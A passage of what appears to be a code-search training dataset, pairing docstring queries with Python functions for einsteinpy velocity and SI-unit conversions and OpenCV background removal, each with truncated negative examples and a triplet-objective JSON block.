r, theta, phi, v_r, v_t, v_p = self.convert_spherical()
return SphericalDifferential(
r * u.m,
theta * u.rad,
phi * u.rad,
v_r * u.m / u.s,
v_t * u.rad / u.s,
v_p * u.rad / u.s,
) | [
"def _velocity_cartesian2spherical(pos,vel):\n\n \n #save cartesian position of each particle\n x=pos[:,0]\n y=pos[:,1]\n z=pos[:,2]\n\n #save cartesian velocities\n vx=vel[:,0]\n vy=vel[:,1]\n vz=vel[:,2]\n\n #convert to spherical coordinates\n pos_sph=_position_cartesian2spherical... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Function for returning values in SI units. Returns ~numpy.ndarray Array containing values in SI units (m, rad, rad, m/s, rad/s, rad/s) | def si_values(self):
element_list = [
self.r.to(u.m),
self.theta.to(u.rad),
self.phi.to(u.rad),
self.v_r.to(u.m / u.s),
self.v_t.to(u.rad / u.s),
self.v_p.to(u.rad / u.s),
]
return np.array([e.value for e in element_list], d... | [
"def to_si(value, source_unit):\n try:\n __units[source_unit]\n except KeyError:\n raise KeyError(source_unit + ' is an incorrect unit symbol.')\n\n global __numpyEnabled\n offset = __units[source_unit][\"A\"] * 1.0 / __units[source_unit][\"C\"]\n scale = __units[source_unit][\"B\"] * 1... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Function for returning values in SI units. Returns ~numpy.ndarray Array containing values in SI units (m, rad, rad, m/s, rad/s, rad/s) | def si_values(self):
element_list = [
self.r.to(u.m),
self.theta.to(u.rad),
self.phi.to(u.rad),
self.v_r.to(u.m / u.s),
self.v_t.to(u.rad / u.s),
self.v_p.to(u.rad / u.s),
]
return np.array([e.value for e in element_list], d... | [
"def to_si(value, source_unit):\n try:\n __units[source_unit]\n except KeyError:\n raise KeyError(source_unit + ' is an incorrect unit symbol.')\n\n global __numpyEnabled\n offset = __units[source_unit][\"A\"] * 1.0 / __units[source_unit][\"C\"]\n scale = __units[source_unit][\"B\"] * 1... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Function to convert velocity to spherical coordinates Returns ~einsteinpy.coordinates.velocity.SphericalDifferential Spherical representation of the velocity in BoyerLindquist Coordinates. | def spherical_differential(self):
r, theta, phi, v_r, v_t, v_p = self.convert_spherical()
return SphericalDifferential(
r * u.m,
theta * u.rad,
phi * u.rad,
v_r * u.m / u.s,
v_t * u.rad / u.s,
v_p * u.rad / u.s,
) | [
"def _velocity_cylindrical2spherical(pos,vel):\n \n pos_cart=_position_cylindrical2cartesian(pos)\n vel_cart=_velocity_cylindrical2cartesian(pos,vel)\n vel_sph=_velocity_cartesian2spherical(pos_cart,vel_cart)\n\n return vel_sph",
"def _velocity_cartesian2spherical(pos,vel):\n\n \n #save carte... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
remove background from image | def remove_background(img):
mask = np.zeros(img.shape[:2], np.uint8)
bgdModel = np.zeros((1, 65), np.float64)
fgdModel = np.zeros((1, 65), np.float64)
rect = (50, 50, 450, 290)
cv.grabCut(img, mask, rect, bgdModel, fgdModel, 5, cv.GC_INIT_WITH_RECT)
mask2 = np.where((mask == 2)|(mask == 0), 0, 1... | [
"def remove_img_background(img, background, thre):\r\n img_sub = abs(img - background)\r\n img_sub = cv2.cvtColor(img_sub, cv2.COLOR_BGR2GRAY)\r\n ret, img_remove = cv2.threshold(img_sub, thre, 255, cv2.THRESH_BINARY)\r\n\r\n return img_remove",
"def clear_background_image(self, btn):\n self.cl... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |